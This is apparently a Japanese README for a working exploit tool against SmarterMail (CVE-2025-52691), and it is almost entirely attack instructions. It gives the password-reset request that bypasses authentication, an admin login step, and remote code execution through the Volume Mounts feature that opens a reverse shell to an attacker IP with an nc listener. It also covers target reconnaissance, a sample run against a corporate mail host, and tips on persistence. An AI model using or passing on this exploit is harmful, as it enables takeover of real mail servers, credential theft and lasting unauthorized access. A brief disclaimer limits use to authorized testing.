
CVE-2025-52691 PoC: 認証バイパスのエクスプロイトに関するwatchtowrの記事WT-2026-0001に基づく、実際に動作するPython攻撃スクリプトです。
このツールは、許可されたセキュリティテストおよび教育目的のみに使用してください!
このエクスプロイトは、SmarterMail の 2 つの重大な脆弱性を組み合わせたものです:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
このエクスプロイトは 3 段階の攻撃を実行します:
フェーズ 1: WT-2026-0001 による認証バイパス
フェーズ 2: 新しいパスワードで管理者ログイン
フェーズ 3: Volume Mounts 機能による RCE
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
ターゲットの特定
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
リスナーの設定
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
ネットワークの検証
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
シェル接続
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
アクセスの確認
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
持続的なアクセス
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
| パラメータ | 説明 | デフォルト値 |
|---|---|---|
-H, --host | ターゲットホスト (必須) | - |
-P, --port | ターゲットポート | 9998 |
-A, --attacker-ip | リバースシェル用の攻撃者 IP (必須) | - |
-p, --attacker-port | リバースシェル用の攻撃者ポート (必須) | - |
-d, --debug | デバッグモードを有効にする | False |
--admin-username | 管理者ユーザー名 | admin |
--new-password | 新しい管理者パスワード | NewPassword123!@# |
| パラメータ | 説明 |
|---|---|
-t, --target | ターゲットホスト |
-p, --port | ターゲットポート |
-a, --attacker-ip | 攻撃者 IP |
-l, --listener-port | リスナーポート |
-n, --new-password | 新しい管理者パスワード |
-u, --admin-user | 管理者ユーザー名 |
-d, --debug | デバッグモード |
--auto | 自動モード |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
エンドポイント: POST /api/v1/auth/force-reset-password
ペイロード:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
成功時のレスポンス:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
エンドポイント: POST /api/v1/auth/login
ペイロード:
{
"username": "admin",
"password": "NewPassword123!@#"
}
エンドポイント: POST /api/v1/settings/volume-mounts
ペイロード:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
詳細な出力のためにデバッグモードを有効にします:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ 覚えておいてください: 大きな力には大きな責任が伴います!